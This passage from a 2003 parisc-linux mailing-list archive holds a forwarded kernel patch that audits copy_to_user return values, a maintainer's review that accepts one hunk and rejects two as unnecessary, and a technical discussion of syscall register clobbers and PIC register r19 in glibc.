+		return copy_to_user((void *)arg, &info, sizeof(info)) ? -EFAULT : 0 ;
 	
 	case SNDCTL_DSP_SYNC:
 		return 0;



-------------------------------------------------------
This sf.net email is sponsored by:ThinkGeek
Welcome to geek heaven.
http://thinkgeek.com/sf
_______________________________________________
Kernel-janitor-discuss mailing list
Kernel-janitor-discuss@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/kernel-janitor-discuss

----- End forwarded message -----

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [glibc] tststatic failues, reduced to simple testcase.
Date: Sun, 31 Aug 2003 11:38:38 -0400
Lines: 37
Approved: news@gmane.org
Message-ID: <20030831153837.GJ5194@systemhalted>
References: <20030830161504.GE5194@systemhalted> <200308310000.UAA01375@hiauly3.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622748 30594 80.91.229.3 (22 Nov 2014 02:19:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:08 +0000 (UTC)
Cc: randolph@tausq.org, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly3.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 31 09:40:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id BAF43489B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 31 Aug 2003 09:40:11 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19tUHm-0004h5-00; Sun, 31 Aug 2003 11:38:38 -0400
Content-Disposition: inline
In-Reply-To: <200308310000.UAA01375@hiauly3.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19417

> I don't fully understand this code but possibly PT_GR20 might be used
> to save r2.  In the fork call for example, we know that this location
> contains  __NR_fork.  This value gets restored to r20 in wrapper_exit.
> I think the valued saved above is loaded into r2 here:

So you say perhaps instead of PT_GR19 we use PT_GR20 and
TASK_PT_GR20? I think we can't though, because tracing the syscall
requires that GR20 continue to retain the syscall value. I think we can
use _any_ other caller-saves registers (including the last input for the
fork-ish calls e.g. GR21 or GR22?).
 
> child_return:
> 	bl      schedule_tail, %r2
> 	nop
> 
> 	LDREG   TASK_PT_GR19-TASK_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30),%r2
> 	b       wrapper_exit
> 	copy    %r0,%r28
> 
> I don't see where the %r30 value saved in PT_GR21 is used.

Me neither. Perhaps it's superfluous and can be used to retrieve r2 and
thus keep r19 safe.

> If a syscall is going to clobber registers, the appropriate clobbers
> need to be added to the asm used for the syscall so that gcc doesn't
> try to use these registers over the syscall.  Use of PT_GR19 appears
> to have been a bad choice because of its special use in pic code.

I've added all the caller-saves registers to our clobber lists when
making syscalls. Though, r19 being special, I've had to add "STW_PIC"
and "LDW_PIC" that do the saving and restore _only_ if we are compiled
PIC.

c.



From - Thu Nov 08 21:29:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [ron@rongage.org: [Patchbomb] - Copy_to/from_user audit - parisc -RESEND]
Date: Sun, 31 Aug 2003 16:42:10 +0100
Lines: 85
Approved: news@gmane.org
Message-ID: <20030831154210.GY13467@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622748 30599 80.91.229.3 (22 Nov 2014 02:19:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:08 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 31 09:42:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA1D648A9
	for <parisc-linux@parisc-linux.org>; Sun, 31 Aug 2003 09:42:10 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19tULC-0001v1-Bk
	for parisc-linux@parisc-linux.org; Sun, 31 Aug 2003 16:42:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19418

----- Forwarded message from Ron Gage <ron@rongage.org> -----

From: Ron Gage <ron@rongage.org>
To: kernel-janitor-discuss@lists.sourceforge.net
Subject: [Patchbomb] - Copy_to/from_user audit - parisc -RESEND
User-Agent: KMail/1.5.2
Errors-To: kernel-janitor-discuss-admin@lists.sourceforge.net
X-BeenThere: kernel-janitor-discuss@lists.sourceforge.net
X-Mailman-Version: 2.0.9-sf.net
Precedence: bulk
List-Help: <mailto:kernel-janitor-discuss-request@lists.sourceforge.net?subject=help>
List-Post: <mailto:kernel-janitor-discuss@lists.sourceforge.net>
List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/kernel-janitor-discuss>,
	<mailto:kernel-janitor-discuss-request@lists.sourceforge.net?subject=subscribe>
List-Id: kernel janitor discussion list <kernel-janitor-discuss.lists.sourceforge.net>
List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/kernel-janitor-discuss>,
	<mailto:kernel-janitor-discuss-request@lists.sourceforge.net?subject=unsubscribe>
List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum=kernel-janitor-discuss>
X-Original-Date: Sun, 31 Aug 2003 11:18:49 -0400
Date: Sun, 31 Aug 2003 11:18:49 -0400

This patch is also available on my ftp server
ftp://new.rongage.org/pub/linux

This patch catches insures proper return values from 
copy_to/from_user calls.

Ron Gage - Pontiac, MI


diff -urN linux-2.6.0-test4/arch/parisc/kernel/signal32.c linux-2.6.0-test4-patched/arch/parisc/kernel/signal32.c
--- linux-2.6.0-test4/arch/parisc/kernel/signal32.c	2003-08-22 19:53:07.000000000 -0400
+++ linux-2.6.0-test4-patched/arch/parisc/kernel/signal32.c	2003-08-29 21:38:02.000000000 -0400
@@ -38,7 +38,7 @@
 	if (sz != sizeof *set) panic("put_sigset32()");
 	sigset_64to32(&s, set);
 
-	return copy_to_user(up, &s, sizeof s);
+	return copy_to_user(up, &s, sizeof s) ? -EFAULT : 0 ;
 }
 
 static int
diff -urN linux-2.6.0-test4/arch/parisc/kernel/sys_parisc.c linux-2.6.0-test4-patched/arch/parisc/kernel/sys_parisc.c
--- linux-2.6.0-test4/arch/parisc/kernel/sys_parisc.c	2003-08-22 19:59:03.000000000 -0400
+++ linux-2.6.0-test4-patched/arch/parisc/kernel/sys_parisc.c	2003-08-29 21:36:06.000000000 -0400
@@ -271,7 +271,7 @@
 	tbuf.shm_cpid = sbuf->shm_cpid;
 	tbuf.shm_lpid = sbuf->shm_lpid;
 	tbuf.shm_nattch = sbuf->shm_nattch;
-	return copy_to_user(buf, &tbuf, sizeof tbuf);
+	return copy_to_user(buf, &tbuf, sizeof tbuf) ? -EFAULT : 0;
 }
 
 int sys_msgctl_broken(int msqid, int cmd, struct msqid_ds *buf)
diff -urN linux-2.6.0-test4/arch/parisc/kernel/sys_parisc32.c linux-2.6.0-test4-patched/arch/parisc/kernel/sys_parisc32.c
--- linux-2.6.0-test4/arch/parisc/kernel/sys_parisc32.c	2003-08-22 19:54:17.000000000 -0400
+++ linux-2.6.0-test4-patched/arch/parisc/kernel/sys_parisc32.c	2003-08-29 21:36:59.000000000 -0400
@@ -370,7 +370,7 @@
 	struct compat_timeval t32;
 	t32.tv_sec = t->tv_sec;
 	t32.tv_usec = t->tv_usec;
-	return copy_to_user(u, &t32, sizeof t32);
+	return copy_to_user(u, &t32, sizeof t32) ? -EFAULT : 0 ;
 }
 
 static int



-------------------------------------------------------
This sf.net email is sponsored by:ThinkGeek
Welcome to geek heaven.
http://thinkgeek.com/sf
_______________________________________________
Kernel-janitor-discuss mailing list
Kernel-janitor-discuss@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/kernel-janitor-discuss

----- End forwarded message -----

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly3.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [glibc] tststatic failues, reduced to simp le testcase.
Date: Sun, 31 Aug 2003 14:21:52 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <200308311821.OAA04520@hiauly3.hia.nrc.ca>
References: <20030831153837.GJ5194@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622748 30605 80.91.229.3 (22 Nov 2014 02:19:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:08 +0000 (UTC)
Cc: randolph@tausq.org, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 31 12:21:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly3.hia.nrc.ca (hiauly3.hia.nrc.ca [132.246.100.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id A549348A9
	for <parisc-linux@lists.parisc-linux.org>; Sun, 31 Aug 2003 12:21:54 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly3.hia.nrc.ca (8.9.3 (PHNE_26305+JAGae58098)/8.9.3) id OAA04520;
	Sun, 31 Aug 2003 14:21:52 -0400 (EDT)
In-Reply-To: <20030831153837.GJ5194@systemhalted> from Carlos O'Donell at Aug "31," 2003 "11:38:38" am
X-Mailer: ELM []
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19419

> > I don't fully understand this code but possibly PT_GR20 might be used
> > to save r2.  In the fork call for example, we know that this location
> > contains  __NR_fork.  This value gets restored to r20 in wrapper_exit.
> > I think the valued saved above is loaded into r2 here:
> 
> So you say perhaps instead of PT_GR19 we use PT_GR20 and
> TASK_PT_GR20? I think we can't though, because tracing the syscall
> requires that GR20 continue to retain the syscall value. I think we can
> use _any_ other caller-saves registers (including the last input for the
> fork-ish calls e.g. GR21 or GR22?).

Isn't the restoration of the value in wrapper_exit enough or is strace
looking in the task struct?

> Me neither. Perhaps it's superfluous and can be used to retrieve r2 and
> thus keep r19 safe.

It's worth a try.

> > If a syscall is going to clobber registers, the appropriate clobbers
> > need to be added to the asm used for the syscall so that gcc doesn't
> > try to use these registers over the syscall.  Use of PT_GR19 appears
> > to have been a bad choice because of its special use in pic code.
> 
> I've added all the caller-saves registers to our clobber lists when
> making syscalls. Though, r19 being special, I've had to add "STW_PIC"
> and "LDW_PIC" that do the saving and restore _only_ if we are compiled
> PIC.

That seems overly pessimistic and will mean a lot more register saves
in routines that do syscalls.  It appears the system saves the caller-save
registers in all syscalls except the fork related calls.  It would
be best to keep the number of clobbers to a minimum.  I wonder, there
seems to be a slot in the task struct for r1, but it's never saved in
a syscall, and r1 is clobbered.  Maybe the r1 slot could be used to save
r2.  This might mean that we don't need to use GR21 or GR22 at all.
It would avoid having to have special pic code.

Dave


From - Thu Nov 08 21:29:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stian =?iso-8859-1?Q?S=F8iland?= <stian@soiland.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [ron@rongage.org: [Patchbomb] - Copy_to/from_user audit - oss4 - RESEND]
Date: Sun, 31 Aug 2003 20:23:34 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <20030831182334.GA21964@itea.ntnu.no>
References: <20030831153957.GX13467@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622749 30607 80.91.229.3 (22 Nov 2014 02:19:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:09 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 31 12:23:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from royk.itea.ntnu.no (royk.itea.ntnu.no [129.241.190.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id C183248AC
	for <parisc-linux@parisc-linux.org>; Sun, 31 Aug 2003 12:23:35 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by royk.itea.ntnu.no (Postfix) with ESMTP
	id 84CAA77708; Sun, 31 Aug 2003 20:23:34 +0200 (CEST)
Original-Received: from ozelot.stud.ntnu.no (ozelot.stud.ntnu.no [129.241.56.185])
	by royk.itea.ntnu.no (Postfix) with ESMTP
	id 4B79A776FC; Sun, 31 Aug 2003 20:23:34 +0200 (CEST)
Original-Received: (from stain@localhost)
	by ozelot.stud.ntnu.no (8.11.6p2/8.10.0.Beta12) id h7VINYQ22259;
	Sun, 31 Aug 2003 20:23:34 +0200
Mail-Followup-To: Matthew Wilcox <willy@debian.org>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030831153957.GX13467@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19420

On 2003-08-31 17:39:57, Matthew Wilcox wrote:

What's the deal with this [subject] [fubar] [thingie]? :=3D) I'm getting
confused and I need to resize my terminal to like 300x24 to read this..

--=20
Stian S=F8iland               Work toward win-win situation. Win-lose
Trondheim, Norway           is where you win and the other lose.
http://www.soiland.no/      Lose-lose and lose-win are left as an
                            exercise to the reader.  [Limoncelli/Hogan]


From - Thu Nov 08 21:29:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [ron@rongage.org: [Patchbomb] - Copy_to/from_user audit - parisc -RESEND]
Date: Sun, 31 Aug 2003 11:56:49 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <20030831185649.GI10510@tausq.org>
References: <20030831154210.GY13467@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622749 30609 80.91.229.3 (22 Nov 2014 02:19:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:09 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: ron@rongage.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 31 12:52:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6FC048B4
	for <parisc-linux@parisc-linux.org>; Sun, 31 Aug 2003 12:52:26 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 94ADFCD2FC; Sun, 31 Aug 2003 11:56:49 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030831154210.GY13467@parcelfarce.linux.theplanet.co.uk>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19421

> This patch catches insures proper return values from 
> copy_to/from_user calls.

um, some of these are not quite correct.

> +++ linux-2.6.0-test4-patched/arch/parisc/kernel/signal32.c	2003-08-29 21:38:02.000000000 -0400
> @@ -38,7 +38,7 @@
>  	if (sz != sizeof *set) panic("put_sigset32()");
>  	sigset_64to32(&s, set);
>  
> -	return copy_to_user(up, &s, sizeof s);
> +	return copy_to_user(up, &s, sizeof s) ? -EFAULT : 0 ;
>  }

this one is for put_sigset32, which is used like this:

        if (!ret && oset && put_sigset32(oset, &old_set, sigsetsize))
                return -EFAULT;

so your patch is not needed.

> --- linux-2.6.0-test4/arch/parisc/kernel/sys_parisc32.c	2003-08-22 19:54:17.000000000 -0400
> +++ linux-2.6.0-test4-patched/arch/parisc/kernel/sys_parisc32.c	2003-08-29 21:36:59.000000000 -0400
> @@ -370,7 +370,7 @@
>  	struct compat_timeval t32;
>  	t32.tv_sec = t->tv_sec;
>  	t32.tv_usec = t->tv_usec;
> -	return copy_to_user(u, &t32, sizeof t32);
> +	return copy_to_user(u, &t32, sizeof t32) ? -EFAULT : 0 ;
>  }

this one is similar.

>  static int
> diff -urN linux-2.6.0-test4/arch/parisc/kernel/sys_parisc.c linux-2.6.0-test4-patched/arch/parisc/kernel/sys_parisc.c
> --- linux-2.6.0-test4/arch/parisc/kernel/sys_parisc.c	2003-08-22 19:59:03.000000000 -0400
> +++ linux-2.6.0-test4-patched/arch/parisc/kernel/sys_parisc.c	2003-08-29 21:36:06.000000000 -0400
> @@ -271,7 +271,7 @@
>  	tbuf.shm_cpid = sbuf->shm_cpid;
>  	tbuf.shm_lpid = sbuf->shm_lpid;
>  	tbuf.shm_nattch = sbuf->shm_nattch;
> -	return copy_to_user(buf, &tbuf, sizeof tbuf);
> +	return copy_to_user(buf, &tbuf, sizeof tbuf) ? -EFAULT : 0;
>  }
>  
>  int sys_msgctl_broken(int msqid, int cmd, struct msqid_ds *buf)

this one seems correct. i'll apply it to the parisc tree.

thx
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly3.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [glibc] tststatic failues, reduced to simp le testcase.
Date: Sun, 31 Aug 2003 15:10:23 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200308311910.PAA04875@hiauly3.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622749 30616 80.91.229.3 (22 Nov 2014 02:19:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:09 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, randolph@tausq.org,
	dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: dave@hiauly3.hia.nrc.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 31 13:10:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly3.hia.nrc.ca (hiauly3.hia.nrc.ca [132.246.100.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 781C548B7
	for <parisc-linux@lists.parisc-linux.org>; Sun, 31 Aug 2003 13:10:25 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly3.hia.nrc.ca (8.9.3 (PHNE_26305+JAGae58098)/8.9.3) id PAA04875;
	Sun, 31 Aug 2003 15:10:23 -0400 (EDT)
In-Reply-To: <no.id> from dave at Aug "31," 2003 "02:21:52" pm
X-Mailer: ELM []
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19422

> > I've added all the caller-saves registers to our clobber lists when
> > making syscalls. Though, r19 being special, I've had to add "STW_PIC"
> > and "LDW_PIC" that do the saving and restore _only_ if we are compiled
> > PIC.
> 
> That seems overly pessimistic and will mean a lot more register saves
> in routines that do syscalls.  It appears the system saves the caller-save
> registers in all syscalls except the fork related calls.  It would
> be best to keep the number of clobbers to a minimum.  I wonder, there
> seems to be a slot in the task struct for r1, but it's never saved in
> a syscall, and r1 is clobbered.  Maybe the r1 slot could be used to save
> r2.  This might mean that we don't need to use GR21 or GR22 at all.
> It would avoid having to have special pic code.

Another possibility might be to define another couple of offsets in the
task struct.  It looks as if there is plenty of space before an alignment
boundary is reached.


From - Thu Nov 08 21:29:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [glibc] tststatic failues, reduced to simp le testcase.
Date: Sun, 31 Aug 2003 16:22:03 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20030831202203.GN5194@systemhalted>
References: <200308311910.PAA04875@hiauly3.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622750 30618 80.91.229.3 (22 Nov 2014 02:19:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:10 +0000 (UTC)
Cc: randolph@tausq.org, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly3.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 31 14:23:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5167B487A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 31 Aug 2003 14:23:37 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19tYi3-0004aa-00; Sun, 31 Aug 2003 16:22:03 -0400
Content-Disposition: inline
In-Reply-To: <200308311910.PAA04875@hiauly3.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19423

> Another possibility might be to define another couple of offsets in the
